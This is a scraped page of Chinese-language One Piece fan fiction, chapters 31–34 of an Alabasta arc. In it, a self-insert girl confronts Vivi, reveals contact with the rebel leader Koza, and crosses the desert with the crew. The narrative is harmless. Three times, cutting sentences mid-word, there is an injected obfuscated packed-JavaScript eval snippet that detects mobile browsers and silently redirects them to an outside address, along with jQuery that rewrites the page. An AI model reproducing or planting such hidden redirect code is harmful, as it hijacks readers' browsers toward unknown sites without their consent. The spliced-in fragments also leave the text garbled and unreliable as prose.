而刚刚看见如此荒芜的景象就白了脸色,似乎也在证实着这段印象。 微微看着女孩,以为女孩不曾听懂,耐心地解释道:“这一切都是克洛克达尔的阴谋,只要让叛乱军的首领知道,我们就能阻止这场不必要的战斗,就能阻止无谓的流血。” “哦,是嘛。”女孩像是理解了一般,轻轻点了点头,“叛乱军的首领会相信我们吗?” “会的。”微微点头,“我和他过去有些交情,他会相信我们的。” 一切看上去都是那么的顺理成章,似乎找到叛乱军的首领一切就能迎刃而解。 娜美看了看两人,向前迈了一步,刚想要开口缓和现场的气氛,却见一向乖巧的女孩仰着头笑了。 她的笑容依旧是那么灿烂可爱,看上去和过去没有差别。 可她的眼睛没有笑。 “是吗?微微你啊,好像比我想的还要天真一点。” 有有如此说道。 31.阿拉巴斯坦(七) 意料之外的话让所有人都陷入了震惊,唯有艾斯神色如常。 一方面是因为相处的时间并不久,还不曾对女孩的性格有完整的认知,另一方面…… 艾斯想起刚刚在船上说到的,关于“阴谋”的讨论。她明显知道什么,虽然不知道她为什么不说,但是肯定有他的理由。 因为没有提前预设的印象,所以反而比任何人都要接受良好。 随即立马接受的则是索隆,他看着一脸震惊的娜美,反而有一种“我早就说过了”的快感。 乌索普抱着乔巴默默远离了两步,顺手捂住了乔巴的嘴巴,坚决不参与这场纷争。 “你——”微微低着头,蓝色的发丝胡乱的飞着,她却丝毫不理会,可紧握的拳头却暴露了她丝毫不平静的内心,“你说什么?” 像是觉得自己听错了,微微压着怒气又重新问了一遍。 “你刚刚说了什么?” 娜美上前,干笑道:“有有她什么都没说啦……” “不,我说的是。”有有看也不看娜美,生怕有人没听清,一字一句道,“你比我想象的还天真。” 砰! 本就接近极限的气球忽然被猛的吹了一口气,有限的内部无法再承受住过大的气压,只是稍微晃动了一下,就炸开在了众人面前。 微微通红着双眼,揪住了有有的衣领,就像是被囚禁已久的困兽,痛苦,却又无力。 “你懂什么?你不过就是个什么都没经历过的小女孩,你有什么资格对我说这种话!!不是你的国家被毁灭,所以你才能站在那里像什么都没发生一样!!” “有有!”娜美惊呼,急忙上前拉开两人,却被路飞拦住了。 嘻嘻哈哈的少年脸上没有了笑容,只是淡淡道:“这是她们之间的事情,谁都不许出手。”说罢,眼神还扫了一下站在边上的伊卡莱姆和山治。 “对,我是什么都没经历过。”有有语气淡淡,一双大眼睛就这样直直盯着微微,像是没感觉到脖子被勒住的痛感。 “但是经历过这一切的你又在做什么呢?” “你说你要去犹巴找叛乱军的首领,你怎么就知道他一定会在犹巴而不在别的地方?” “你说你见到他就能说服他,可你又怎么知道叛乱军的其他人就一定会听他的话?” “你的王宫能发现跳舞粉说明在你去当卧底之前,你身边就已经有卧底了!” “你就那么敢肯定,叛乱军就没有巴洛克的卧底吗!” “如果叛乱军有卧底、王宫有卧底,那么即使你说明了真相,也会有人在中间破坏的。” “你以为,这场战争是你动动嘴皮子就能停下来的事情吗??” 一句接一句的质问闯进耳朵,所有人不禁顺着有有的假设思考了起来。 像是脱力了一般,微微松开了手,身体一晃,就这么跌坐在了沙地上。 有有像是没看见微微脸上的痛苦,自顾自道:“我告诉你,你现在在做什么。” “你现在在摧毁民众心中的‘英雄’。” “虽然很讽刺,但是在阿拉巴斯坦如此动荡的现在,克洛克达尔就是人们心中的信仰,他强大、他保护民众,没有人相信他会做出这样的事情。” “别说了,你别说了!”微微捂着耳朵,眼泪几乎要夺眶而出。 最大的敌人被民众奉为英雄,真正为子民着想的国王却被子民抛弃。 可现实就是这么荒诞。 有有半跪了下来,忍住了喉间的哽咽,双手用力拉开了微微捂着耳朵的手。 指尖在有有的眼下划出一道血痕,渗出了细小的血丝。 有有不曾眨眼。 “你现在要做的,就是把‘英雄’拉下神坛。” “且,不惜任何代价。” —— 这场说不上是内讧的内讧结束的比想象中快,有有乖乖地坐在一边,脸上完全没有了刚刚的模样。 乔巴拿着棉签轻轻地擦拭着有有脸上和脖子上的伤痕,娜美在一旁看着,莫名的,让有有连话都不敢说。 但此刻的气氛也说不上好,微微依旧在抽泣着,伊卡莱姆在一旁低声说着什么,似乎是在安慰,也有可能是在商量着后面的事情。 乌索普也不闹了,只是和山治静悄悄地待在一边,看着格外可怜的样子。 看上去一脸平静的只有路飞、艾斯和索隆。 三人站在一起,双手抱臂看着眼前。 艾斯看向如今已是船长的弟弟,开口道:“怎么说,不去调解一下吗?” 路飞晃来晃去,却不见焦急的神色:“听了有有的话,我觉得她说的很对,这是一场战争,我们迟早要对上克洛克达尔的,不可能只用说的就能解决。” 虽然看上去什么都没放在心上,但是路飞或许是这一群人中最先意识到这一切的人,可以说他是野兽般的直觉。 路飞忽然一笑,可爱的笑容和现场的气氛严重不符:“不过,没想到先爆发的居然是有有诶。” “大概是被冲击到了吧。”索隆瞥了一眼安安稳稳坐着的女孩,“刚刚看到这座城市的时候。那个笨蛋整个人都不太对了。” “可能正是因为生活在和平的年代,才会对战争格外厌恶吧。” —— 还是冲动了。 有有垂眸,冰凉的消毒液在脸上轻轻划过,接着对上了乔巴强忍着眼泪的眸子。 明明还那么小一只、那么珍惜同伴的小朋友,却让他碰到了这么恶劣的争吵。 这和那些当着孩子面争吵的无良父母有什么区别。 哭又不敢哭,还要忍着眼泪来处理那么大点的伤口。 这些即使不说,路飞在后面也会提出来的,结果提前把氛围搞得那么僵。 有有深吸气,抿了抿唇。 轻微的浮动被乔巴捕捉,小少年仰着头,轻声问道:“疼吗?” 不处理的话估计也都快好了,也不知道娜美给乔巴灌输了怎么样的观点,有有只觉得自己现在乔巴心里没准比玻璃还脆。 有有抬起手,轻轻揉了揉乔巴的小脑袋。说实话,摸在帽子上的手感并不算太好,但女孩依旧笑得温柔:“不疼。” “疼的话要和我说哦。” “嗯。”有有点头。 伤口处理得很快,从脖颈处散发出来的药味不断刺激着神经。 这下子,不仅吃过山治做的饭,还被乔巴治过伤,怎么不算别具一格的福利呢。 有有苦笑,拎着手里的包起身。 在所有人几近停滞的当下,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16136736|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有的动作格外明显。所有的视线集中在了有有身上,可女孩就像没发现一样,踩在沙地上,一步一步走向了微微。 伊卡莱姆挡在了微微身前,连开嗓的过程都省略了:“有有小姐,有什么事吗?” 有有没回答,只是将包放在了地上,翻找了起来。 说是翻找,但是其实并没有花太长时间。有有的包也是自己带过来的,看着格外能装,里面的东西收拾得整整齐齐。 要找的东西就放在单独的小隔层里面。 是一只电话虫,小隔层里甚至还放了一个小小的装了水的瓶子。 电话虫虽然称之为虫,但是其实更像一只蜗牛。虽然发挥着类似于手机电话的功能,但这是实打实的生物,可以从野外捕捉,也需要主人刻意饲养,不然是真的会死的。 电话虫的功能也有很多,有可以用来通话的、也有用来摄影的;种类也不少,有普通电话虫、也有防窃听电话虫…… 而有有手上的,很明显是最普通的一只电话虫。 “这是能和反叛军首领联系的电话虫。”有有轻描淡写地扔下炸弹,炸得所有人一愣一愣的。 “我已经和他碰过面了,你说的那些我也已经和他说过了,他也已经知道了这一切是克洛克达尔的阴谋。” “等、等等!”微微一把越过伊卡莱姆,震惊地睁大了眼睛,就连其他人也都聚集了过来。 “你说这是什么?”微微浑身紧绷,身体不自觉地向前倾。 有有瞬间收回了电话虫,神色平静:“我说,这是能和寇沙联系上的电话虫。” 微微嘴唇紧闭,神色恍惚。 在此之前,她从来都没有提过叛乱军首领的名字。 “在去采购物资的时候,我和乔巴上了一辆叛乱军用来采买武器的车,然后我见到了寇沙。”有有说得轻描淡写,可在场的几个还是瞬间变了脸色。 索隆无声感慨,这还真是搞了件大事啊。可眼中兴致盎然的神色完全掩盖不住。 不过,被骗的山治满脸不可置信,仿佛天都塌了:“有有小姐,你不是说你去躲太阳去了吗?” “因为躲太阳才刚好上了那辆车。”有有面不改色,春秋笔法用得极其熟练,丝毫不提自己刻意跟着乔巴找到车的前提。 山治整个人失去了颜色陷入了深深的自责。 说着要保护好有有小姐,却让她去到了那么危险的地方。 有有良心隐隐作痛,但是也顾不上去安慰山治,只是先把电话虫又重新收回了包里。 “有有,”微微深吸了口气,勉强平复了情绪,看着女孩认真道,“刚刚的事情我很抱歉,但是这个电话虫能不能给我,等之后我会回报你的,无论是贝利还是别的……” 微微的声音在有有的注视下越来越小,最终消弭于唇齿之间。 她也知道在此刻说这些话毫无信服力,国家的内乱能否解决还是个未知数,即使能解决,百废待兴的国家也拿不出足够的报酬。 可是,能和叛乱军联系上真的很重要。即使就像有有说的,联系上也无法直接改变现状,但是能联系上起码能多一层保证。微微目光看向了有有的包,神色几近哀求。 “实在抱歉,我拒绝。”似乎早就想好了一般,有有眼也没眨地开口道。 32.阿拉巴斯坦(八) 拒绝说不上是意料之外还是意料之中,微微只是失神地愣了一会儿,随即强打起了精神,勉强笑道:“我知道了,我会再想办法的。” 有有默默把背包的拉链拉好,拍了拍背包上的沙土,在背上背包的一瞬间就看见了娜美欲言又止的神色。 娜美是怎样的一个人,她又怎么会不知道呢?还那么小的时候就想着把拯救的责任背在自己身上,甚至不惜抹黑自己的形象。 看着贪财,却也是最重视伙伴的人。 有有叹了口气,决定把事情摊开来说:“说实话,我一开始并没有打算现在就把电话虫拿出来。” “想问为什么?”有有看着微微想开口的模样,笑了一下,“这不是很简单嘛,我刚刚就说过了,微微你在某些方面真的很天真啊。” “拿到电话虫你想干什么呢?联系寇沙吗?” 看着微微的神色,有有就知道自己说中了。环视一圈,有有的目光落在了艾斯身上。 “梅利号上并不怎么用电话虫,但是我想白胡子海贼团用到电话虫的频率应该并不算低吧?” 女孩此刻和不久前害羞单纯的模样大相径庭,嘴角还挂着习惯性的笑意,但是字里行间透露出来的信息让有有看上去格外沉稳,也格外有信服力。 艾斯并不介意回答一些无伤大雅的问题,他开口道:“没错,但是我们会注意使用的场所。” “因为普通的电话虫有被窃听的可能。”有有点头,“当时的时间非常紧急,寇沙拿不出能够防窃听的电话虫,只有这种普通的电话虫,甚至连这种电话虫都是稀缺的资源。” “但我们无法确定,克洛克达尔那边,有没有能用来窃听的电话虫。” 长久的干旱似乎让这种生物都无法生存下来了。 有有回想起当时的场景。 彼时她正飞快的为寇沙做着总结,但是长时间在帐篷里出来十分容易惹人起疑,于是她便找寇沙要防窃听的电话虫,希望之后能随时联系,随时互通计划。 但是别说防窃听的了,这个电话虫找到的都十分艰难。 叛乱军这边物资紧缺,但是克洛克达尔好歹是七武海之一。要不惜将事情往最严重的方向想。 “他肯定会想尽办法阻止和寇沙见面,所以如果你们现在联系上了,只会加快他计划的实施。” “事情已经发展到现在了,他的野心暴露也没有太大关系了。” “所以我们要做好只有一次机会的打算。” 有有直视微微,语气冷静而犀利:“我们会和寇沙联系,但不是现在。” 并非是真的不想交给微微,也不是想得到些什么,只是单纯的时机不对。 而这个时机,很显然只有自己能掌握。 有有握紧了背包带子,心情忐忑。当然除了这个原因之外还有其他。 比如剧情无论如何都会推着他们往既定的轨迹走,那么卡特里亚、犹巴就是不得不去的地方。与其让剧情用些奇奇怪怪的理由让人过去,不如就按照原来的剧情走,那么起码还能掌握大方向。 天真的想要拯救所有人显然是不可取的,但是这通电话用好了,显然就能里应外合,争取让伤亡减到最小。 这也是为什么寇沙依旧表现出想要攻打王宫的样子。 “先别着急暴露出来,你原来打算干什么就接着干,如果发现了有人身上有着和我一样的纹身,记得监控起来。” 说完这句话,她就演戏开溜了。 就目前看来,局势并没有大变,所以克洛克达尔反倒是那个被蒙在鼓里的人。 往寇沙面前走一遭,先机勉强就是他们的了。 她的决定并不算万无一失,但从上帝视角来看,绝对不算差。 但最大的问题是,只有她有上帝视角。 有有垂眸,心脏咚咚作响,脑子里乱作一团。不听娜美的话,自顾自地深入敌营已经算是犯错了,这些自我的打算似乎更是错上加错。 所以一开始,有有并没有打算把这件事说出来,只打算等到合适的时机再告诉大家。 到时候情势所迫,大家肯定来不及细问。虽然有些自欺欺人,但是事情能解决就是万事大吉。 但是沙漠里埋葬的尸骨一直在眼前浮现,明明是第一次亲眼看见这种场景,耳边却不知怎么想起了人类死前若有似无的哭嚎。 可他是怎么死的呢?被战争波及?还是被硬生生渴死?如果是后者,他又真的能发出声音吗? 如果早一步阻止这场战争,那么死去的人,会不会少一点呢? “有有?有有?” 面前的橘发少女贴得极近,甚至双手都不知何时搭上了自己的肩膀。旁边也不知怎么聚集了许多人。 娜美摇晃着有有的身体,脸上是显而易见的担忧。 “你怎么了?脸色突然变得好白,太阳晒得吗?”娜美伸手触上了女孩的额头,“要不要让乔巴给你再看一下?” “是啊是啊?刚刚怎么喊你都没反应。”乌索普心有余悸,几乎都要把乔巴推到有有面前了。 “肚子饿了吗?”路飞凑到跟前挠挠头,“包里应该还有肉才对。” “你以为人人都是你啊!”山治骂骂咧咧地挤开路飞,满脸担忧地看着有有,“有有小姐,哪里不舒服吗?” “没、没什么。”有有呐呐应声,丝毫没发现伙伴们脸上有任何责怪的痕迹。 “如果有不舒服的一定要和我说啊!”乔巴小跳着想要闯进有有的视线,一蹦一跳的略有些滑稽。 “嗯!”有有吸了吸鼻子,眼圈都微微泛红,重重地点了点头。 她真的是宇宙超级无敌大笨蛋,不仅骗了乔巴和山治,还对他们的为人妄加揣测。他们是那样善良的一群人,怎么会和她计较这些事情呢。 “呜~”有有忽然哽咽了一声,“我果然好喜欢你们,最喜欢你们了!” “哈?”索隆发出气声,“一个人自顾自地发呆之后就开始哭着告白,你这家伙果然是个笨蛋啊!” “你个绿藻头给我去死!”山治对着索隆凶神恶煞,但一转眼就对着有有眉开眼笑了起来,让人不得不怀疑这人身上是不是有川渝血统,“我也好喜欢有有小姐哟~~” 太热闹了,简直太热闹了。 艾斯含笑看着一群人闹来闹去,这是一种不同于白胡子海贼团上的热闹氛围,莫比迪克号上人数众多,但是比起朋友更像是一个庞大的家庭。虽然也会你追我赶、你打我闹,但是和眼前这群人还是不一样的。 但又像是想到了什么,艾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16149003|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯的脸色晦暗了一瞬。 有有敏锐地察觉到了什么,视线看向了艾斯。还不等说什么,一道声音打断了有有的念头。 “对不起有有!”微微站在了有有面前,脸上还带着未擦干的泪痕,但是脆弱已然一扫而空。她深吸了一口气,随即,年纪不过16岁的公主殿下弯下了腰,头颅深深垂下,天蓝色的发丝在空中微微晃着,上身和腿几乎形成了一个直角,“我刚刚不应该那么着急,弄伤你了我很抱歉。” “也谢谢你把我骂醒了。” 郑重的礼节吓了有有一大跳,迄今为止18年的人生里都没见过这么郑重其事的道歉。在这一刻,身体的条件反射比脑子快,有有瞬间就避开了微微的鞠躬,闪避的动作太快,还顺带踩了索隆一脚。 索隆:“……” 有有忙不迭扯着微微的手臂,企图把人拉起来。 但是即使微微只有16岁,她也是身高169cm、敢潜入敌人阵营的、还有些武力在身的一国继承人。 扯不动,根本扯不动。 有有绝望地看向旁边,却发现所有人都是一副看好戏的样子,就连伊卡莱姆都满脸写着“我看不见”。 服了!你家的公主你都不来扶一把啊! 还善良呢!一群乐子人! 有有破罐子破摔,干脆站在微微身边一起鞠躬了起来。 “那我也要道歉……” “不,你刚刚说的都对。”丝毫不觉得两人此刻姿势极其怪异,微微偏过头看向有有,“你不用道歉。” “啊,那就不为这个道歉。”有有回答得异常爽快,就是脸色变得格外诡异了一些,“主要是,我为了见到寇沙,当时把自己搞得伤痕累累的,然后说自己是从王宫里跑出来的……” “当时还穿着舞女的衣服……” 简而言之,就是给微微爸爸添了笔危难时机还在王宫寻欢作乐的黑料。 微微:“……” 公主一秒起身,就像是什么都没发生过一样,正色道:“那我们接下来该怎么做?” “我可以解释的……”有有跟着起身,弱弱地想要为自己辩解,“我还给自己贴了巴洛克工作室的纹身,这样的话,他们就以为我这是克洛克达尔挑拨国王军和叛乱军的计划之一嘛……” 微微看着有有越说越心虚,沉默了一会儿,突然笑了。 救国救民的重担似乎卸下了一瞬,16岁女孩的天真笑颜又出现在了微微身上,公主满脸促狭地看向有有背后:“啊拉,要不然换个人解释呢?” 浑身的关节就像是生锈了一般无法活动,有有僵硬地转头,立马就对上了乌索普的大拇指。 “不愧是你。”乌索普做了个嘴型,静悄悄地闪到了一旁。 索隆咧着嘴笑开:“做得漂亮啊!” 艾斯看了看满脸心虚的有有,又看了看路飞,发出了感慨:“原来,路飞你的船员都和你一样胡来啊!”真是有什么样的船长就有什么样的船员。 “是吧是吧,她们超级有趣的。” 也来不及理会山治诸如“为什么不带我,我想看有有小姐穿舞女服”这样毫无营养的碎碎念,有有咽了咽口水,对上了娜美波澜不惊的神色。 “不是,听我狡辩,阿不,听我解释……” 33.阿拉巴斯坦(九) 意外的是,娜美的脸上完全没有过分生气的神色,有的只是些许的无奈。 “行了。”娜美浅浅叹气,泄愤似地把有有的头发整个揉乱,“平安回来就好。” 要……要命。 有有眼眶发热,这不是比挨骂还让人难受吗。 “索隆说得对,我不该过度担心你。”娜美看了眼索隆,没忍住笑了一声,“虽然平时你俩总是闹来闹去,但是没准,他才是最先看清楚这一点的人。” 谁?索隆? 有有发热的眼眶忽然降温,半信半疑地看向索隆。 索隆脸上写满“不用谢我”,有有默默移开视线。 不信谣不传谣! “你这家伙……”索隆咬牙切齿,恨不得立马给人来一刀。 有有嘿嘿一笑,糊弄了过去。 “我们来说说接下来该怎么办吧!” 接下来的打算其实很简单,将计就计。 要按照原来的计划,一步一步往腹地推进。叛乱军那边有寇沙,寇沙会负责筛选叛乱军中的卧底。 剩下来比较棘手的就是国王军。 “按照有有所说,王宫内一定会有卧底,我们需要想办法通知王宫内的人,不能让卧底得逞。”微微担忧地看向王宫的方向,“但是卡鲁已经走了,没办法把情报传递回去了。” “不是哦。”有有拍了拍微微的肩膀,“卡鲁带着情报走了是好事。” “诶?” “王宫内的卧底肯定有所戒备,能送进去的情报说明克洛克达尔并不在意这些,就像我刚刚说的,即使国王知道了克洛克达尔的野心又怎么样呢,他的公信力现在比国王高,即使国王说出来了也不会有很多人相信。” “而且卡鲁再怎么聪明,它也没办法准确地传达自己的想法。传信倒是问题不大,但是你别忘了,克洛克达尔那边还有个能变成我们样子的人。” “你觉得他会放弃这么好用的手下吗?” 微微神色一滞:“而且他那次展示能力的时候,我看见我父亲的样子。” 有有暗暗松了口气,你可终于想起来了。 “没错,所以我们需要把消息确切地传达到国王手里,而不是被其他人。”有有目光落在了本不该出现在这里的人身上。 伊卡莱姆是这段剧情之外的存在,且他又是阿拉巴斯坦的本地人,对这个国家的熟悉程度非常高,思及他的年龄,可以说,他比微微还要更熟悉这个国家。 另外他也非常熟悉这一系列的计划,让他去再合适不过了。 更何况,他还能完美的混入王宫。 注意到有有的视线,所有人把目光都投向了伊卡莱姆。 “那就交给我吧!”伊卡莱姆拍着胸脯保证,“我一定会把消息传给陛下的!” 热情和忠诚值得赞颂,但是计谋呢? 有有头疼地扶住脑袋,问道:“那你想要怎么混进王宫且不惊动卧底吗?” 伊卡莱姆沉默。 虽然在屏幕外看着角色们以一腔热血渡过所有难关是非常带感,但是真的轮到自己面对这些情况,有有只觉得自己年纪轻轻就要得高血压。 为什么这群习惯于冒险的家伙还没她一个普普通通的女孩子谨慎啊!!! 难道说正是因为太过习惯,觉得武力能解决一切,所以干脆通通莽过去吗?! 有有深吸一口气,看着在场所有人一片空白的脸,忽然就理解了上课时老师为什么会这么生气。 就这么上考场?解题方法呢?技巧呢?平时到底有没有复习?有没有揣测出题人的思路啊!! “路飞?”有有语气温柔,点了某个一直和乔巴嘻嘻哈哈的船长,“你有什么想法吗?” “诶?你叫我?”路飞一脸单纯地看向有有,“你刚刚说到哪了?” 有有:“……”女孩的目光由看向了乌索普,长鼻子男孩心虚地吹着口哨,看天看地就是不看有有。 索隆也是一样。 没救了、这群家伙没救了! 就在有有差点说出“你们是我带过最差的一届”那句经典台词时,山治拯救了莫名危险的氛围。 “既然有有小姐这么说的话,说明伊卡莱姆先生应该是能联系到王宫内的人吧?而且这个人应该和伊卡莱姆先生很熟悉,且能接触到国王。”山治尝试顺着有有的思路解题。 此刻的山治在有有眼中闪着智慧的光辉,有有恨铁不成钢地看着其他人,“你们看看山治,再看看你们!脑子生下来是要用的啊!要不要我下次给你们带点试卷过来!” “切~” “回答不上来还顶嘴,索隆好逊——” 因为有着剧情的限制,有有无法完全地把计划说出来,毕竟涉及到了还未曾见到的角色,但是索性这群人凑一凑还是能凑个脑子出来的。 都提示到这个份上了,微微兴奋地一拍手:“蒂拉歌坦!” “那是谁?”娜美连忙问道。 微微解释道:“是伊卡莱姆的妻子,也是王宫厨房的领班,当时伊卡莱姆陪我去了巴洛克工作室,蒂拉歌坦则留守在了王宫。” 没错没错。 有有赞赏地点了点头,虽然已经快忘记了那人叫什么,但是她和伊卡莱姆如出一辙的脸真的是给她留下了极为深刻的印象。 夫妻相到了如同龙凤胎的程度,这也只能说一句尾田实在是太懒了,多画一张脸怎么了? 不过现在反倒是要感谢尾田的懒惰。 “他们俩长得很像很像哦。”微微看向伊卡莱姆,眼里都闪着光,“伊卡莱姆你打扮一下,就能完美混进王宫了!” “没错!”有有鼓了鼓掌,“而且既然是厨房领班的话,在饭菜里做些手脚什么的,不是很方便吗?” 女孩笑得格外狡黠,“我们可以再去捉只电话虫,这样,王宫里面有人,叛乱军我们也有人了。” 微微:!!! “阻止战争发生的最简单的方法,难道不是让两边的人同时失去战斗力吗?” “与其费尽心思的去说服他们,只要在他们失去战斗力的时候让克洛克达尔的面目暴露在他们面前,他们自然会相信了。” 而这个时机自然要选国王军和叛乱军兵戎相见的那一天。 也就是最终战场。 利用克洛克达尔的计划,把所有人聚集在一起,然后被迫让所有人见证这一瞬间就可以了。 到时候也不必管到底是卧底还是真正的国民,反正只要打不起来,伤亡自然而然就会减少。 “到那个时候,打败克洛克达尔的任务就要交给你们了。”有有看着路飞,亮晶晶的眼睛满是信任,“要当着所有人的面,把那个坏蛋给揍飞哦!” 这个任务完全可以听懂。 路飞咧开嘴一笑,信誓旦旦道:“交给我吧!” 虽然任务忽然换了个遍,但是最终目的不变,听上去可行性也变高了。 微微只觉得压在自己身上的重担也变轻了很多,她笑着看有有恨铁不成钢地给路飞投喂了一包零食,也笑着看索隆山治斗嘴…… 沙漠里的太阳一如既往地炙热,却也十分光明。 —— 可沙漠里温度也捂不热寇沙此刻冰冷的心。 一个、两个、三个…… 根本数不清。 眼熟的纹身就这样大大咧咧地暴露在自己的视线中。只有少许几个人会用披风掩饰一下,可为什么,过去不曾察觉到呢? 本以为和自己一样,想要拯救这个国家的同伴们中间不知何时已经混入了黑色的墨水。 寇沙抬眼看向了其中有一个人。 那人笑得灿烂,还不忘朝寇沙挥手:“首领,吃了吗?” 寇沙不动声色地笑了笑:“吃了。” 他记得他,他经常说着国王不配被拥护,现在的苦难都是国王带来的。 这样的人在叛乱军中不算少数,但他一直以为,在这样的局势下,有极端的想法是再正常不过的事情。 可原来,早有异心。 —— 要……要死了…… 有有从来不曾觉得自己低估了沙漠,甚至还往极为恶劣的方向考虑。 但是她高估了自己。 白天沙漠的温度高达四十多度,又晒又热。脚下的沙子滚烫,有有只觉得自己就像那道鹅卵石炒鸡蛋里面的鸡蛋,下一秒就要熟了。 即使墨镜、防晒帽、口罩齐齐上阵,甚至还有几张冰凉贴在脖子后面待着。 有有也自觉命不久矣。 “有有~那个凉凉的贴贴再给我一片,它又不凉了……”路飞拄着棍子,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16163864|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额头上扯下已经失效的冰凉贴,气若游丝地朝着有有道。 女孩完全说不出话,从背包里拿出空空如也的袋子,在路飞面前晃了晃。 没了,一张也没了。 一开始还以为这玩意是智商税,所以总共也没带几包,结果光乔巴一个鹿就干掉了不少,没办法,人家是皮毛族,有有实在不忍心。然后再每个人发几张,基本就消耗完了。 “有有小姐~我帮你背包吧~”山治窜到女孩身边,脸上满是心疼。 有有轻轻摇头,拄着拐杖一步一步向前挪着,“没关系的,你的包已经够重了。” 山治的包里除了自己的用品之外,还待着外出做饭时要用动餐具和小部分食材,时不时还要照顾一下快要瘫倒的乌索普,整个人忙得不行。 外加山治还是战力组的一员,有有对山治的崇敬之情犹如滔滔江水绵绵不绝。 可有有的身体还是一轻。 背上的背包被艾斯提在手里,少年人似乎连一滴汗都没流。 “包给我吧。”艾斯笑着道,“我的包很轻,还能拿一个。” 诶!! 有有瞪大了眼睛,虽然在墨镜后面看得不怎么清晰,但是艾斯还是被逗笑了。 “你可是我们的大功臣,你要是太累了,后面就没军师了。”艾斯语气含笑,几乎是诱哄着有有放开了背包。 糟、糟糕。 被色、诱了。 在放开背包的瞬间,有有就反应过来了,刚想把背包拿回来,就看见艾斯不紧不慢地走远了几步,显然是不想被追回的架势。 有点帅过头了!好可靠! 有有的心脏里“乔巴乱撞”,感觉濒死的血条又回复了一点。 “有有小姐~”山治幽怨的声音传来,眼睛里满是谴责,“我还在这呢~~” 有有从艾斯身上收回目光,嘿嘿一笑:“我知道的啦。” “我也想背有有小姐的包嘛~~”山治的撒娇完全不油腻,反而格外可爱。 有有一时昏了头:“下次,下次一定。” “真的吗!”山治兴奋道。 昏君·有有拍着胸脯点头。 “对了。”有有拄着拐杖,从昏君的身份中抽离,有些抱歉地看向了山治,“对不起啊山治。” 山治一愣,不解道:“怎么了有有小姐?” “我刚刚和伊卡莱姆说的,让他在食物里加东西事情……”有有嗫嚅道,“没有考虑你的感受。” 因为挨过饿,山治比任何人都要珍惜食物。有有十分清楚这一点,但她还是提出了在饭菜中加料的方法。 总感觉,有些对不起山治。 有有偷偷摸摸透过墨镜瞥了一眼金发厨师,心虚之感掩饰不住,去没想到看见了一双格外温柔的眸子。 女孩忍不住把墨镜向下扒拉了一点。 Tv里表现的并不明显,但是山治拥有一双深邃的蓝眼睛,虽然有有不曾在剧情里看见All bule的样子,但她想,那片大海再美丽,也无法比拟眼前的这双眼睛。 “没事的有有小姐。”山治低低笑了一声,“我理解的。” 虽然在听见有有小姐的计划时,他的确十分震惊,但是仔细想来,这的确是能减少伤亡的好办法,况且严格来说,这也并不算浪费粮食,毕竟还能吃不是吗。 山治不曾觉得自己的想法有失偏颇,但他没想到的是,有有小姐居然会因为这件事专门找自己道歉。 多么善良的有有小姐啊~~ 山治简直要螺旋升天了。 “山治……”有有眨了眨眼睛,盯着山治一动不动。 “嗯?” “你的眼睛,好漂亮啊。”女孩忽然一笑,赞叹道。 山治:!!!! 金发厨师原地愣住,像个雕塑一样一动不动,紧接着,脸颊通红,整个人冒着热气。 在炙热的沙漠中,山治,熟了。 哇哦。 有有无声赞叹。 这是何等的高攻低防。 “你这笨蛋对这个白痴做了什么!” 索隆的拖行人数加一,他拖着宕机的山治抓狂地质问道。 “有有什么都没有做哦。”有有戴上墨镜,继续拄着拐杖一步一步地慢慢走着。 谁信啊! 34.阿拉巴斯坦(十) 有有觉得自己能立马出一本书,名字就叫做《沙漠的危险(阿拉巴斯坦沙漠)》。 夜幕降临,微微说:“沙漠里的危险之一就是极大的的昼夜温差。” 有有看着为了争夺乔巴而大打出手路飞、索隆、山治、乌索普,默默往娜美和微微手里塞了一个暖宝宝。 天色刚亮,有有迷迷糊糊从帐篷里钻出来,就看见不远处的天雾蒙蒙的,像是乌云压顶一般。 微微说:“糟糕,大家快躲在岩石的后面,这是沙尘暴,是沙漠里非常危险的一种气象。” 那还能怎么办呢!赶紧躲啊! 没来得及…… 漫天的黄沙把人盖了起来,还没来得及掩住口鼻,有有就被迫做了个沙疗。 覆盖在表面的沙子被扒拉开,有有看见了一张格外欠揍的脸。 索隆抱臂笑得嚣张:“你相机在哪呢,赶紧让我拍一张。” 有有:“……” 女孩抓起手边的沙子就扬了出去。 “不好意思,我也是沙漠的危险之一!” 去往犹巴的路上,终于被酷热和饥饿逼得精神失常路飞提出了谁赢谁背所有行李的笨蛋设想。 有有精神一振,抱着自己的背包默默退到了艾斯身边。 “有有你不来吗?难得有让这个笨蛋背行李的机会!”娜美招呼着有有,却只见有有疯狂摇头。 “不了不了,我包里的东西比较重要。”有有拍了拍放两个电话虫的位置,“我没关系的。” 